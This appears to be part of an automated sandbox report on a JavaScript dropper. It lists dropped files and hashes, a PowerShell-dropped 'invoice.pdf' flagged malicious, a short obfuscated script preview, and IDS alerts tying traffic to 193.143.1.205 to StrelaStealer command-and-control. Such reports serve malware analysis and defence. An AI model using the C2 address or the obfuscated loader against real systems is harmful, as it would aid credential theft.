SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\bc8e68ce-f57a-417b-9c09-946b6c8d243d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\de878674-530d-4719-8924-1145dc166dfb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f53c27d4-3e51-4ac7-8a89-50bfb8df3ad8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 36162
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLRGZjZwYIGNPJR:RB3mlind9i4ufFXpAXkrfUs03WLRGZjR
MD5:	EEF23016BAF5605623E190F48E385B05
SHA1:	59905C66C8440CE56C44CFFE6E6BC37F0955159E
SHA-256:	3B4289C7822823AE262A54BAF13873C516B1590B32B44C716CF7D570F1D1013C
SHA-512:	7D45FCEE55DC83A78A113310DF2C0E0F40C5D07ADBE5AC81FF5AEBB37C98DC411D83F3F5C3B90C2AAB912EDEF5618BC8682B180009E19C974C9C0D7243BC0729
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17568), with CRLF line terminators
Entropy (8bit):	4.899598923921212
TrID:
File name:	3129912127106722813.js
File size:	20'982 bytes
MD5:	ff9cc6a9e788ba8fac0ef5395971e173
SHA1:	79aa14aeb2fc1ea61cfb4ac64367c9818764a285
SHA256:	1880f2a6a098d963901bc39225d92b7726111377dcc4a9e58ae2ee8bdb71674d
SHA512:	25b44c7aab600c344ce39572654e663d6c7ce4a2e7683a55818b90b09aa9db0269ac922cace9cb7176348ecd37237572ec5d52287e1d056d1eec44b6e5d16f1a
SSDEEP:	384:rRd0BKoIPqMMJayhU3bwcPjzCVfhoZ2cVZfDVYf2f2p/Dl6unvx2lLsx1lTHIIZW:Vd0soIGSwQjzCVfhoZ2cVZfDVYeep/Dy
TLSH:	179264D0450B6BEE51F042B7B7A300F7257C5B098654968AECC441EC5A07FBFAAF2279
File Content Preview:	function vduhs(){dsjfdglqy=[1031,3079,5127,4103,2055,3072];var xgqjqx=this[qercya+pjxsdqay+bcvyml+mlrmkg+segsqik+pengrxc+cylhdcxl+slhab](this[ovzcix+mtxvbnr+wguvjrki+bcvyml+mnbqz+qercya+slhab][yvmzrc+bcvyml+segsqik+pjxsdqay+slhab+segsqik+qpsaio+mhghp+yhjp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:14:36.168012+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T08:14:36.168012+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T08:14:38.710988+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:14:35.357026100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:35.361985922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:35.362068892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:35.364954948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:35.369795084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.167901993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.167958975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.167970896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.168011904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.168076992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.168137074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.168137074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.168149948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.168195009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.168307066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.168318987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.168329954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.168344975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.168360949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.168395042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.227883101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.227907896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.227965117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.289566040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.289585114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.289596081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.289644003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.289655924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.289690018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.294254065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.294265032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.294317961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.294471979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.294482946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.294492006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.294529915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.299093962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.299105883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.299145937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.299330950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.299341917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.299376011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.303843021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.303858995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.303869009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.303919077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.304049015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.304060936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.304090023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.308625937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.308639050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.308651924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.308695078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.358239889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.358321905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.358330965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.358436108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.408973932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.408989906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.409001112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.409110069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.411670923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.411724091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.411734104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.411772013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.411885023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.411930084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.411948919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.411958933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.411993980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.412328959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.412395954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.412406921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.412446976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.412550926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.412561893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.412610054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.413024902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.413074017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.413091898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.413105011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.413144112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.413264036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.413278103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.413317919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.413923979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.413953066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.413964987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.413997889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.414077044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.414091110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.414128065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.414757013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.414815903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.414832115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.414843082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.414879084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.414958000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.414968967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.415019989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.415631056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.415690899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.415704966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.415735960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.415816069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.415827036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.415860891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.416574955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.416585922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.416595936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.416637897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.416661024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.416687965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.416699886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.416754961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.417433023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.417443991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.417454004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.417489052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.445151091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.445211887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.445221901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.445236921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.445271969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.445386887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.445399046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.445436954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.495646000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.495660067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.495755911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.530524969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.530571938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.530584097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.530700922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.530731916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.530744076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.530782938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.533421993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.533466101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.533487082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.533498049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.533545971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.533659935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.533670902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.533705950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.533833981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.533844948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.533855915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.533866882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.533907890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.534080982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.534091949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.534102917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.534113884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.534135103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.534151077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.534463882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.534475088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.534486055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.534499884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.534509897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.534547091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.534559965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.534835100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.534845114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.534882069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.534941912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.534953117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.534989119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.535139084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.535150051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.535162926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.535175085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.535185099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.535192966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.535212994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.535231113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.535584927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.535598993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.535609007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.535619974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.535630941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.535640955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.535641909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.535662889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.535697937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.536096096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536106110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536119938 CET	80	49730	193.143.1.205	192.168.2.4
